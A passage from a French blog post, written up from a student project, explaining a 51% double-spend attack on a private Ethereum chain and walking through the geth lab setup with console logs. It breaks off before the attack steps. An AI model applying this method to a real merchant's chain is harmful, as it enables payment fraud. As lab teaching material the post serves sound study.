Attaque des 51% sur une Blockchain Ethereum privée

Publié par Mickael Rigonnaux le

Bonjour à tous ! Aujourd’hui un article un peu différent, nous allons parler de blockchain. Cet article est issu d’un projet scolaire réalisé avec les autres personnes contribuant à ce blog, Fabio et Adrien ainsi que deux autres personnes, Dorian et Clément.

Cet article est une simple retranscription de notre rendu, qui est disponible sur le repo Gitlab du projet en français et en anglais.

Nous ne sommes absolument pas des experts dans ce domaine, il est donc fortement possible que bêtises soient présentes dans l’article, n’hésitez pas à revenir vers nous si c’est le cas. Le but est avant tout de partager nos travaux et d’échanger ! Vous pouvez également ajouter des modifications directement sur le projet Gitlab.

Introduction

Cet article permet de mettre en avant et d’expliquer plusieurs concepts autour de la blockchain. Il a pour but de présenter techniquement la réalisation d’une attaque à 51% sur une blockchain privée. La technologie utilisée dans notre cas sera Ethereum.

Présentation de Blockchain

Pour présenter rapidement la blockchain, ou chaîne de blocs en français, c’est une solution technique qui permet de stocker des données, au même titre qu’une base de données. Elle comporte cependant des spécificités, elle est décentralisée et distribuée. C’est à dire qu’aucun des nœuds ne peut contrôler ou modifier les informations envoyées dans cette dernière.

L’ensemble des données sont partagées et répliquées sur chacun des nœuds. Les données envoyées par les nœuds sont vérifiées et validées par la blockchain. L’ensemble de ces données permet de former une chaîne de blocs. Les données ainsi que les mises à jour des nœuds se fait via du P2P.

Elle se veut donc, infalsifiable par défaut. Il faut voir ça comme un énorme registre qui comporte l’ensemble des transactions. Tout le monde peut consulter l’ensemble des transactions, mais personne ne peut les modifier.

Ces systèmes sont aujourd’hui mis en avant, notamment avec l’explosion des monnaies virtuelles. Cela ne reflète pas la véritable utilisation qu’il est possible de faire d’une blockchain, l’ensemble des aspects présentés régulièrement sont purement spéculatifs, comme pour le bitcoin par exemple.

L’utilisation d’une blockchain permet de répondre à des besoins spécifiques. Il ne faut pas l’utiliser en simple remplacement d’une base de données classique, si votre base de données permet de répondre à vos besoins sans problème, c’est que vous n’avez pas besoin d’utiliser une blockchain.

Dans toutes les blockchain il existe des « mineurs », ces mineurs sont là pour créer des blocs. Pour créer un bloc il faut installer un logiciel et ce dernier se chargera d’utiliser les ressources de votre ordinateur pour résoudre des calculs mathématiques compliqués, à chaque fois que le calcul est résolu vous créer des blocs.

Ils servent de « carburant » dans la blockchain, car pour chaque transaction vous devrez reverser une petite partie. Par exemple avec la blockchain la plus connue, miner permet de créer des bitcoins. Et lorsque vous voulez payer ou être payé, la personne qui sera à l’initiative de la transaction va payer des frais. Il est indispensable de détenir ce carburant pour échanger sur la blockchain. Un autre exemple avec la blockchain Ethereum, pour chaque bloc miné, 3 ETH sont reversés.

Pour miner, plusieurs configurations sont possibles, il est possible de rajouter ses machines à la blockchain et de miner normalement, mais il faut avoir une grosse puissance de calcul pour avoir des résultats sur le court terme. Il est aussi possible de rejoindre un « pool », c’est à dire un ensemble de personne mettant à disposition leur puissance de calcul pour miner un bloc. Lorsque le bloc est miné, les ETH/BTC gagnés sont donc redistribués aux mineurs selon la puissance de calcul qu’ils ont fournis.

L’ensemble des blockchain sont utilisés et construites autour de la cryptographie. Elles utilisent pour la plupart des algorithmes spécifiques à leur chaîne, comme ETHash pour Ethereum. Des algorithmes asymétriques sont également utilisés, comme les courbes elliptiques et la courbe secp256k1 pour le Bitcoin. La sécurité et l’inviolabilité de la blockchain est assurée par l’utilisation de ces protocoles.

Illustration d’une transaction dans une blockchain :

Ethereum

Ethereum est une blockchain connue sous le symbole « ETH », c’est une des plus connues avec le Bitcoin (BTC). Cette blockchain sera utilisée pour notre PoC. Pour des raisons de faisabilités évidentes nous utiliserons une blockchain privée et pas la blockchain publique d’Ethereum.

Les limites

Comme toutes les technologies, les différentes blockchain ont des limites, notamment celle que nous allons essayer d’exploiter aujourd’hui. Elle intervient au niveau de la puissance de calcul, le réseau de la blockchain est décentralisé, il est basé sur des nœuds X et Y tenu par une communauté.

Une des limites est donc que si une personne ou un groupe de personne arrive à détenir plus de 50% de la puissance de calcul, il sera en mesure de contrôler la blockchain, et donc d’altérer son fonctionnement et de remettre en cause tout son fonctionnement.

Une des autres limites peut intervenir au niveau des protocoles eux mêmes, si une vulnérabilité est détectée, que ça soit sur le protocole de minage ou sur l’implémentation de la blockchain, tout le système est compromis. Une solution à ce genre de problème est de créer un « fork » de la blockchain en appliquant les corrections. Ce cas a été observé avec la séparation de l’Ethereum « ETH » et de l’Ethereum Classic « ETC ».

Présentation du contexte

Comme déjà indiqué le but de cette page est de présenter une attaque de type 51% sur une blockchain privée Ethereum.

Pour contextualiser cette attaque nous allons prendre le cas d’une société mettant en vente des produits sur son site Internet. Cet achat doit se régler via l’utilisation d’une blockchain privée basée sur Ethereum.

La personne qui réalise l’achat est donc en mesure d’ajouter des nœuds sur cette blockchain et donc de réaliser cette attaque.

L’attaque

L’attaque permettra donc d’avoir une plus grosse puissance de calcul que l’ensemble des nœuds de la blockchain, et donc d’en altérer les données et le fonctionnement.

L’attaquant va tout d’abord ajouter des nœuds sur la blockchain du site vendeur. L’ajout de ces nœuds va permettre de récupérer la blockchain et de se synchroniser avec les autres machines de la blockchain.

L’attaquant doit disposer d’une puissance plus importante que celle utilisée actuellement sur la blockchain. Pour y arriver, je vous laisse imaginer les scénarios possibles (utilisation d’instance cloud EC2, etc.).

Une fois que la puissance de calcul est en possession de l’attaquant, il va déconnecter ses machines du réseau de la société, mais il va continuer à miner des blocs avec ses machines. C’est à ce moment qu’il réalisera un achat sur le site. Une fois la transaction réalisée, il reconnectera ses machines au réseau.

Cela aura pour effet d’écraser la transaction qui vient d’être réalisée. Cela est dû au fait que l’attaquant dispose d’une puissance de calcul de plus de 50% sur la blockchain. Il a donc pu de son côté miner avec plus de puissance que le reste de la blockchain. En reconnectant ses machines au réseau, une validation est effectuée pour connaître la chaîne à suivre, et vu que celle de l’attaquant est plus avancée, elle sera automatiquement sélectionnée par la blockchain et répliquée sur chaque nœud.

La transaction entre l’attaquant et le site vendeur est donc annulée.

Présentation de la plateforme pour le PoC

Pour réaliser un test d’attaque à 51% sur la blockchain Ethereum nous avons fait le choix d’utiliser Debian 10. L’ISO que nous avons utilisé est disponible dans le repository Gitlab. Les paquets ainsi que les binaires des applications sont également disponibles.

La plateforme est composée de 2 machines :

  • 2 machines attaquantes
  • 1 machine « honnête » qui représente la blockchain de l’entreprise vendeuse

Le nombre de machine est évolutif, nous en utilisons deux pour ne pas que ça soit trop lourd pour la réalisation du PoC.

Les spécifications sont les suivantes :

  • Machine attaquante : 4vCPU, 4Go RAM, 50Go HDD
  • Machine de l’entreprise : 4vCPU, 4Go RAM, 50Go HDD

Les outils utilisés

Pour la réalisation de cette attaque nous allons utiliser les outils basiques pour créer et manipuler une blockchain Ethereum.

  • L’OS Debian en version 10.3.0 65bits Netinst (ISO disponible dans utlis/iso)
  • GO Ethereum (GETH) en version 1.9.12 (paquet disponible dans utils/bin)

Toutes les versions de GETH sont disponibles sur le site officiel : https://geth.ethereum.org/downloads/

Toutes les versions de Debian sont disponibles sur le site officiel : http://ftp.nl.debian.org/debian/dists/

Geth permet d’installer le moteur de la blockchain Ethereum ainsi que le client Javascript du même nom.

Détail des commandes

Paramètre GethSignification
attachDémarrer un environnement JavaScript interactif (se connecter au nœud)
consoleDémarrer un environnement JavaScript interactif
initBootstrap et initialisation d’un nouveau bloc de genèse
–allow-insecure-unlockPermettre le déverrouillage des comptes non sécurisés lorsque les CPD liés aux comptes sont exposés par http
–bootnodes valueURL d’encodage séparées par des virgules pour le bootstrap de la découverte P2P (utiliser plutôt v4+v5 pour les serveurs légers)
–cache valueMégaoctets de mémoire alloués à la mise en cache interne (par défaut = 4096 nœud complet du réseau principal, 128 en mode léger) (par défaut : 1024)
–datadir valueRépertoire de données pour les bases de données et le keystore (par défaut : « /root/.ethereum »)
–identityNom de nœud personnalisé
–ipcpath valueNom de fichier pour la prise/le tuyau IPC dans le datadir (les chemins explicites y échappent)
–lightkdfRéduire l’utilisation de la mémoire vive et de l’unité centrale au détriment de la puissance du KDF
–maxpeers valueNombre maximum de pairs du réseau (réseau désactivé si défini à 0) (par défaut : 50)
–minePermettre le minage
–miner.threads valueNombre de threads CPU à utiliser pour l’exploitation minière (par défaut : 0)
–networkid valueIdentificateur du réseau (nombre entier, 1=Frontière, 2=Morden (désaffecté), 3=Ropsten, 4=Rinkeby) (par défaut : 1)
–nodiscoverDésactive le mécanisme de découverte des pairs (ajout manuel des pairs)
–nousbDésactive la surveillance et la gestion des portefeuilles de matériel USB
–port valuePort d’écoute du réseau (par défaut : 30303)
–rpcActiver le serveur HTTP-RPC
–rpccorsdomain valueListe séparée par des virgules des domaines à partir desquels il est possible d’accepter des demandes d’origine croisée (navigateur appliqué)
–rpcport valuePort d’écoute du serveur HTTP-RPC (par défaut : 8545)

Hôtes et Architecture des dossiers

root# uname -a
Linux node-2 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
root# cat /etc/debian_version
10.3
  • node-1 : 4vCPUs et 4GB de RAM – IP : 192.168.0.17 (honestMiner)
  • node-2 : 4vCPUs et 4GB de RAM – IP : 192.168.0.34 (maliciousMiner)
  • node-3 : 4vCPUs et 4GB de RAM – IP : 192.168.0.35 (maliciousPerson)
honestMiner
	data
maliciousMiner
	data
maliciousPerson
	data
network
	genesis.json

Conditions préalables

A réaliser sur chaque machine.

Avec une connexion internet

root# apt install gnupg1 -y
root# echo "deb http://ppa.launchpad.net/ethereum/ethereum/ubuntu bionic main " | tee /etc/apt/sources.list.d/ethereum.list
root# apt-key adv --keyserver keyserver.ubuntu.com  --recv-keys 2A518C819BE37D2C2031944D1C52189C923F6CA9
root# apt update
root# apt install ethereum git -y
root# geth version
Geth
Version: 1.9.11-stable
Git Commit: 6a62fe399b68ab9e3625ef5e7900394f389adc3a
Architecture: amd64
Protocol Versions: [65 64 63]
Go Version: go1.13.8
Operating System: linux
GOPATH=
GOROOT=/build/ethereum-2t6lYR/.go
root# git clone https://gitlab.com/adrienpavone/blockchain_51.git
root# cd blockchain_51

Sans connexion Internet

root# cd blockchain_51/utils/bin
root# dpkg -i *
root# cd ../../

But

Le but du projet est d’envoyer 1000000000000000000 Ethereum privé au site marchant qui a pour adresse publique 0xe82e809d5f9574b54a4b8ead7e195b163b39662f, puis de briser la séquence de la chaîne avec l’attaque de 51%.

Initialisation du nœud du projet

Initialisation du réseau Ethereum

Sur l’hôte honestMiner.

La commande :

geth --nousb --datadir honestMiner/data  init network/genesis.json

Résultat :

INFO [03-08|13:14:28.162] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:14:28.162] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:14:28.163] Allocated cache and file handles         database=/root/blockchain_51/honestMiner/data/geth/chaindata cache=16.00MiB handles=16
INFO [03-08|13:14:28.418] Writing custom genesis block
INFO [03-08|13:14:28.419] Persisted trie from memory database      nodes=1 size=149.00B time=95.9µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [03-08|13:14:28.419] Successfully wrote genesis state         database=chaindata hash=2d326d…48d0a3
INFO [03-08|13:14:28.419] Allocated cache and file handles         database=/root/blockchain_51/honestMiner/data/geth/lightchaindata cache=16.00MiB handles=16
INFO [03-08|13:14:28.635] Writing custom genesis block
INFO [03-08|13:14:28.636] Persisted trie from memory database      nodes=1 size=149.00B time=90.983µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [03-08|13:14:28.636] Successfully wrote genesis state         database=lightchaindata hash=2d326d…48d0a3

Création du honestMiner

Lorsque vous accédez à la console avec la commande suivante, vous devez exécuter personal.newAccount() afin de créer le compte honestMiner, puis admin.nodeInfo.enode afin d’obtenir les informations de l’enode, enfin, la commande personal pour obtenir toutes les informations personnelles du mineur.

Sur l’hôte honestMiner.

Commande :

geth --nousb --networkid 15 --port 60303 --rpc --lightkdf --cache 16 --datadir honestMiner/data console

Résultat des commandes dans la console :

INFO [03-08|13:14:40.616] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:14:40.617] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:14:40.617] Starting peer-to-peer node               instance=Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
INFO [03-08|13:14:40.617] Allocated trie memory caches             clean=4.00MiB dirty=4.00MiB
INFO [03-08|13:14:40.617] Allocated cache and file handles         database=/root/blockchain_51/honestMiner/data/geth/chaindata cache=16.00MiB handles=524288
INFO [03-08|13:14:41.066] Opened ancient database                  database=/root/blockchain_51/honestMiner/data/geth/chaindata/ancient
INFO [03-08|13:14:41.067] Initialised chain configuration          config="{ChainID: 15 Homestead: 0 DAO:  DAOSupport: false EIP150: 0 EIP155: 0 EIP158: 0 Byzantium:  Constantinople:  Petersburg:  Istanbul: , Muir Glacier: , Engine: unknown}"
INFO [03-08|13:14:41.067] Disk storage enabled for ethash caches   dir=/root/blockchain_51/honestMiner/data/geth/ethash count=3
INFO [03-08|13:14:41.067] Disk storage enabled for ethash DAGs     dir=/root/.ethash count=2
INFO [03-08|13:14:41.067] Initialising Ethereum protocol           versions="[65 64 63]" network=15 dbversion=
WARN [03-08|13:14:41.067] Upgrade blockchain database version      from= to=7
INFO [03-08|13:14:41.068] Loaded most recent local header          number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:14:41.068] Loaded most recent local full block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:14:41.068] Loaded most recent local fast block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:14:41.068] Regenerated local transaction journal    transactions=0 accounts=0
INFO [03-08|13:14:41.069] Allocated fast sync bloom                size=8.00MiB
INFO [03-08|13:14:41.073] Initialized fast sync bloom              items=1 errorrate=0.000 elapsed=1.869ms
INFO [03-08|13:14:41.144] New local node record                    seq=1 id=8ae30acc5217cc82 ip=127.0.0.1 udp=60303 tcp=60303
INFO [03-08|13:14:41.146] IPC endpoint opened                      url=/root/blockchain_51/honestMiner/data/geth.ipc
INFO [03-08|13:14:41.147] HTTP endpoint opened                     url=http://127.0.0.1:8545 cors= vhosts=localhost
INFO [03-08|13:14:41.152] Started P2P networking                   self=enode://c6ab8727e45dee49304d48a89b8250ef4d792316340b7f1c48b63e1d627915a532f06f1fd8b8390c78d35acda1eeb9d08ddbf60466dd658ffc50395315aa2026@127.0.0.1:60303
WARN [03-08|13:14:41.222] Served eth_coinbase                      reqid=3 t=26.137µs err="etherbase must be explicitly specified"
Welcome to the Geth JavaScript console!

instance: Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
at block: 0 (Thu Jan 01 1970 01:00:00 GMT+0100 (CET))
 datadir: /root/blockchain_51/honestMiner/data
 modules: admin:1.0 debug:1.0 eth:1.0 ethash:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0

> INFO [03-08|13:14:42.495] New local node record                    seq=2 id=8ae30acc5217cc82 ip=109.15.242.225 udp=29208 tcp=60303
> personal.newAccount()
Passphrase:
Repeat passphrase:
INFO [03-08|13:14:51.729] Looking for peers                        peercount=0 tried=77 static=0
INFO [03-08|13:14:51.927] Your new key was generated               address=0x3c5f76F70fE977FA25722CC6D1ec84909639224D
WARN [03-08|13:14:51.927] Please backup your key file!             path=/root/blockchain_51/honestMiner/data/keystore/UTC--2020-03-08T12-14-51.681696153Z--3c5f76f70fe977fa25722cc6d1ec84909639224d
WARN [03-08|13:14:51.927] Please remember your password!
"0x3c5f76f70fe977fa25722cc6d1ec84909639224d"
> personal
{
  listAccounts: ["0x3c5f76f70fe977fa25722cc6d1ec84909639224d"],
  listWallets: [{
      accounts: [{...}],
      status: "Locked",
      url: "keystore:///root/blockchain_51/honestMiner/data/keystore/UTC--2020-03-08T12-14-51.681696153Z--3c5f76f70fe977fa25722cc6d1ec84909639224d"
  }],
  deriveAccount: function(),
  ecRecover: function(),
  getListAccounts: function(callback),
  getListWallets: function(callback),
  importRawKey: function(),
  initializeWallet: function(),
  lockAccount: function(),
  newAccount: function(),
  openWallet: function(),
  sendTransaction: function(),
  sign: function(),
  signTransaction: function(),
  unlockAccount: function(),
  unpair: function()
}
> admin.nodeInfo.enode
"enode://c6ab8727e45dee49304d48a89b8250ef4d792316340b7f1c48b63e1d627915a532f06f1fd8b8390c78d35acda1eeb9d08ddbf60466dd658ffc50395315aa2026@109.15.242.225:60303?discport=29208"
> exit
INFO [03-08|13:15:01.234] HTTP endpoint closed                     url=http://127.0.0.1:8545
INFO [03-08|13:15:01.234] IPC endpoint closed                      url=/root/blockchain_51/honestMiner/data/geth.ipc
INFO [03-08|13:15:01.234] Blockchain manager stopped
INFO [03-08|13:15:01.234] Stopping Ethereum protocol
INFO [03-08|13:15:01.234] Ethereum protocol stopped
INFO [03-08|13:15:01.234] Transaction pool stopped
INFO [03-08|13:15:01.735] Looking for peers                        peercount=1 tried=81 static=0  

Début du minage avec un faible CPU

Sur l’hôte honestMiner.

Commande :

geth --nousb --identity nodeAPAVONE --nodiscover --networkid 15 --port 60303 --maxpeers 10 --lightkdf --cache 16 --rpc --rpccorsdomain "*" --datadir honestMiner/data --miner.threads 1 --mine

Résultat :

INFO [03-08|13:15:15.209] Maximum peer count                       ETH=10 LES=0 total=10
INFO [03-08|13:15:15.209] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:15:15.209] Starting peer-to-peer node               instance=Geth/nodeAPAVONE/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
INFO [03-08|13:15:15.209] Allocated trie memory caches             clean=4.00MiB dirty=4.00MiB
INFO [03-08|13:15:15.210] Allocated cache and file handles         database=/root/blockchain_51/honestMiner/data/geth/chaindata cache=16.00MiB handles=524288
INFO [03-08|13:15:15.576] Opened ancient database                  database=/root/blockchain_51/honestMiner/data/geth/chaindata/ancient
INFO [03-08|13:15:15.576] Initialised chain configuration          config="{ChainID: 15 Homestead: 0 DAO:  DAOSupport: false EIP150: 0 EIP155: 0 EIP158: 0 Byzantium:  Constantinople:  Petersburg:  Istanbul: , Muir Glacier: , Engine: unknown}"
INFO [03-08|13:15:15.576] Disk storage enabled for ethash caches   dir=/root/blockchain_51/honestMiner/data/geth/ethash count=3
INFO [03-08|13:15:15.576] Disk storage enabled for ethash DAGs     dir=/root/.ethash count=2
INFO [03-08|13:15:15.577] Initialising Ethereum protocol           versions="[65 64 63]" network=15 dbversion=7
INFO [03-08|13:15:15.578] Loaded most recent local header          number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:15:15.578] Loaded most recent local full block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:15:15.578] Loaded most recent local fast block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:15:15.578] Loaded local transaction journal         transactions=0 dropped=0
INFO [03-08|13:15:15.579] Regenerated local transaction journal    transactions=0 accounts=0
INFO [03-08|13:15:15.579] Allocated fast sync bloom                size=8.00MiB
INFO [03-08|13:15:15.581] Initialized fast sync bloom              items=1 errorrate=0.000 elapsed=980.756µs
INFO [03-08|13:15:15.729] New local node record                    seq=3 id=8ae30acc5217cc82 ip=127.0.0.1 udp=0 tcp=60303
INFO [03-08|13:15:15.729] Started P2P networking                   self="enode://c6ab8727e45dee49304d48a89b8250ef4d792316340b7f1c48b63e1d627915a532f06f1fd8b8390c78d35acda1eeb9d08ddbf60466dd658ffc50395315aa2026@127.0.0.1:60303?discport=0"
INFO [03-08|13:15:15.730] IPC endpoint opened                      url=/root/blockchain_51/honestMiner/data/geth.ipc
INFO [03-08|13:15:15.731] HTTP endpoint opened                     url=http://127.0.0.1:8545 cors=* vhosts=localhost
INFO [03-08|13:15:15.731] Transaction pool price threshold updated price=1000000000
INFO [03-08|13:15:15.731] Updated mining threads                   threads=1
INFO [03-08|13:15:15.731] Transaction pool price threshold updated price=1000000000
INFO [03-08|13:15:15.731] Etherbase automatically configured       address=0x3c5f76F70fE977FA25722CC6D1ec84909639224D
INFO [03-08|13:15:15.731] Commit new mining work                   number=1 sealhash=869fa6…678564 uncles=0 txs=0 gas=0 fees=0 elapsed=196.883µs
INFO [03-08|13:15:16.269] Successfully sealed new block            number=1 sealhash=869fa6…678564 hash=9fd433…919790 elapsed=537.640ms
INFO [03-08|13:15:16.269] 🔨 mined potential block                  number=1 hash=9fd433…919790
INFO [03-08|13:15:16.269] Commit new mining work                   number=2 sealhash=436627…d25d22 uncles=0 txs=0 gas=0 fees=0 elapsed=168.842µs
INFO [03-08|13:15:17.332] Successfully sealed new block            number=2 sealhash=436627…d25d22 hash=db2ac9…704a42 elapsed=1.062s
INFO [03-08|13:15:17.332] 🔨 mined potential block                  number=2 hash=db2ac9…704a42
INFO [03-08|13:15:17.332] Commit new mining work                   number=3 sealhash=5f0bed…ebc5b4 uncles=0 txs=0 gas=0 fees=0 elapsed=394.287µs
INFO [03-08|13:15:19.195] Successfully sealed new block            number=3 sealhash=5f0bed…ebc5b4 hash=f641b8…8c5c58 elapsed=1.862s
INFO [03-08|13:15:19.195] 🔨 mined potential block                  number=3 hash=f641b8…8c5c58
INFO [03-08|13:15:19.195] Commit new mining work                   number=4 sealhash=54d41b…a5541b uncles=0 txs=0 gas=0 fees=0 elapsed=374.654µs
INFO [03-08|13:15:22.031] Successfully sealed new block            number=4 sealhash=54d41b…a5541b hash=c157a3…d71b22 elapsed=2.836s
INFO [03-08|13:15:22.031] 🔨 mined potential block                  number=4 hash=c157a3…d71b22
INFO [03-08|13:15:22.032] Commit new mining work                   number=5 sealhash=7ba808…5ff6a5 uncles=0 txs=0 gas=0 fees=0 elapsed=525.802µs

Pour ce défi, vous devrez donner à l’attaquant l’adresse de l’enode afin de vous synchroniser avec le mineur honestMiner : « enode://c6ab8727e45dee49304d48a89b8250ef4d792316340b7f1c48b63e1d627915a532f06f1fd8b8390c78d35acda1eeb9d08ddbf60466dd658ffc50395315aa2026@192.168.0.17:60303 »

Et le fichier genesis.json dans le dossier network afin d’obtenir l’adresse coinbase et toutes les informations associées.

L’attaque

Pour attaquer, l’attaquant a besoin de deux comptes, un compte maliciousMiner et un compte maliciousPerson. Il devra créer un compte pour les deux, ainsi qu’initialiser le réseau.

Initialisation du réseau

Sur l’hôte maliciousMiner.

Commande :

geth --nousb --datadir maliciousMiner/data  init network/genesis.json

Résultat :

INFO [03-08|13:21:34.244] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:21:34.244] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:21:34.244] Allocated cache and file handles         database=/root/blockchain_51/maliciousMiner/data/geth/chaindata cache=16.00MiB handles=16
INFO [03-08|13:21:34.319] Writing custom genesis block
INFO [03-08|13:21:34.320] Persisted trie from memory database      nodes=1 size=149.00B time=107.646µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [03-08|13:21:34.320] Successfully wrote genesis state         database=chaindata hash=2d326d…48d0a3
INFO [03-08|13:21:34.320] Allocated cache and file handles         database=/root/blockchain_51/maliciousMiner/data/geth/lightchaindata cache=16.00MiB handles=16
INFO [03-08|13:21:34.419] Writing custom genesis block
INFO [03-08|13:21:34.420] Persisted trie from memory database      nodes=1 size=149.00B time=335.782µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [03-08|13:21:34.420] Successfully wrote genesis state         database=lightchaindata hash=2d326d…48d0a3

Sur l’hôte maliciousPerson.

Commande :

geth --nousb --datadir maliciousPerson/data  init network/genesis.json

Résultat :

INFO [03-08|13:21:39.721] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:21:39.721] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:21:39.721] Allocated cache and file handles         database=/root/blockchain_51/maliciousPerson/data/geth/chaindata cache=16.00MiB handles=16
INFO [03-08|13:21:40.010] Writing custom genesis block
INFO [03-08|13:21:40.011] Persisted trie from memory database      nodes=1 size=149.00B time=88.67µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [03-08|13:21:40.011] Successfully wrote genesis state         database=chaindata hash=2d326d…48d0a3
INFO [03-08|13:21:40.011] Allocated cache and file handles         database=/root/blockchain_51/maliciousPerson/data/geth/lightchaindata cache=16.00MiB handles=16
INFO [03-08|13:21:40.109] Writing custom genesis block
INFO [03-08|13:21:40.110] Persisted trie from memory database      nodes=1 size=149.00B time=1.502934ms gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [03-08|13:21:40.111] Successfully wrote genesis state         database=lightchaindata hash=2d326d…48d0a3

Création des comptes

maliciousMiner

  • Compte : maliciousMiner
  • Mot de passe : malicousMiner

Lorsque vous accédez à la console avec la commande suivante, vous devez exécuter personal.newAccount() afin de créer le compte honestMiner, puis admin.nodeInfo.enode afin d’obtenir les informations de l’enode, enfin, la commande personal pour obtenir toutes les informations personnelles du mineur.

Sur l’hôte maliciousMiner.

Commande :

geth --nousb --networkid 15 --port 60303 --rpc --rpcport 8545 --lightkdf --cache 16 --datadir maliciousMiner/data console

Résultat des commandes dans la console :

INFO [03-08|13:24:42.499] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:24:42.499] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:24:42.499] Starting peer-to-peer node               instance=Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
INFO [03-08|13:24:42.499] Allocated trie memory caches             clean=4.00MiB dirty=4.00MiB
INFO [03-08|13:24:42.500] Allocated cache and file handles         database=/root/blockchain_51/maliciousMiner/data/geth/chaindata cache=16.00MiB handles=524288
INFO [03-08|13:24:42.837] Opened ancient database                  database=/root/blockchain_51/maliciousMiner/data/geth/chaindata/ancient
INFO [03-08|13:24:42.837] Initialised chain configuration          config="{ChainID: 15 Homestead: 0 DAO:  DAOSupport: false EIP150: 0 EIP155: 0 EIP158: 0 Byzantium:  Constantinople:  Petersburg:  Istanbul: , Muir Glacier: , Engine: unknown}"
INFO [03-08|13:24:42.837] Disk storage enabled for ethash caches   dir=/root/blockchain_51/maliciousMiner/data/geth/ethash count=3
INFO [03-08|13:24:42.837] Disk storage enabled for ethash DAGs     dir=/root/.ethash count=2
INFO [03-08|13:24:42.837] Initialising Ethereum protocol           versions="[65 64 63]" network=15 dbversion=
WARN [03-08|13:24:42.837] Upgrade blockchain database version      from= to=7
INFO [03-08|13:24:42.838] Loaded most recent local header          number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:24:42.839] Loaded most recent local full block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:24:42.839] Loaded most recent local fast block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:24:42.839] Regenerated local transaction journal    transactions=0 accounts=0
INFO [03-08|13:24:42.840] Allocated fast sync bloom                size=8.00MiB
INFO [03-08|13:24:42.843] Initialized fast sync bloom              items=1 errorrate=0.000 elapsed=2.229ms
INFO [03-08|13:24:42.964] New local node record                    seq=1 id=358c5618374a8627 ip=127.0.0.1 udp=60303 tcp=60303
INFO [03-08|13:24:42.964] Started P2P networking                   self=enode://92d5d085f7c834762dd190095508d470f8dc001975e6d7a8689fb6b69ba1f749bdff8e2be1a1d948b78c850e7bfe017cbb31d998161e6112f608b7435d7d6ef0@127.0.0.1:60303
INFO [03-08|13:24:42.966] IPC endpoint opened                      url=/root/blockchain_51/maliciousMiner/data/geth.ipc
INFO [03-08|13:24:42.966] HTTP endpoint opened                     url=http://127.0.0.1:8545 cors= vhosts=localhost
WARN [03-08|13:24:43.042] Served eth_coinbase                      reqid=3 t=72.588µs err="etherbase must be explicitly specified"
Welcome to the Geth JavaScript console!

instance: Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
at block: 0 (Thu Jan 01 1970 01:00:00 GMT+0100 (CET))
 datadir: /root/blockchain_51/maliciousMiner/data
 modules: admin:1.0 debug:1.0 eth:1.0 ethash:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0

> perINFO [03-08|13:24:44.940] New local node record                    seq=2 id=358c5618374a8627 ip=109.15.242.225 udp=60303 tcp=60303
> personal.newAccount()
Passphrase:
Repeat passphrase:

INFO [03-08|13:24:54.138] Your new key was generated               address=0xEAB6fFe92041e39233C95451A72Cf5E82cD23297
WARN [03-08|13:24:54.138] Please backup your key file!             path=/root/blockchain_51/maliciousMiner/data/keystore/UTC--2020-03-08T12-24-53.901555019Z--eab6ffe92041e39233c95451a72cf5e82cd23297
WARN [03-08|13:24:54.138] Please remember your password!
"0xeab6ffe92041e39233c95451a72cf5e82cd23297"
> personal
{
  listAccounts: ["0xeab6ffe92041e39233c95451a72cf5e82cd23297"],
  listWallets: [{
      accounts: [{...}],
      status: "Locked",
      url: "keystore:///root/blockchain_51/maliciousMiner/data/keystore/UTC--2020-03-08T12-24-53.901555019Z--eab6ffe92041e39233c95451a72cf5e82cd23297"
  }],
  deriveAccount: function(),
  ecRecover: function(),
  getListAccounts: function(callback),
  getListWallets: function(callback),
  importRawKey: function(),
  initializeWallet: function(),
  lockAccount: function(),
  newAccount: function(),
  openWallet: function(),
  sendTransaction: function(),
  sign: function(),
  signTransaction: function(),
  unlockAccount: function(),
  unpair: function()
}
> admin.nodeInfo.enode
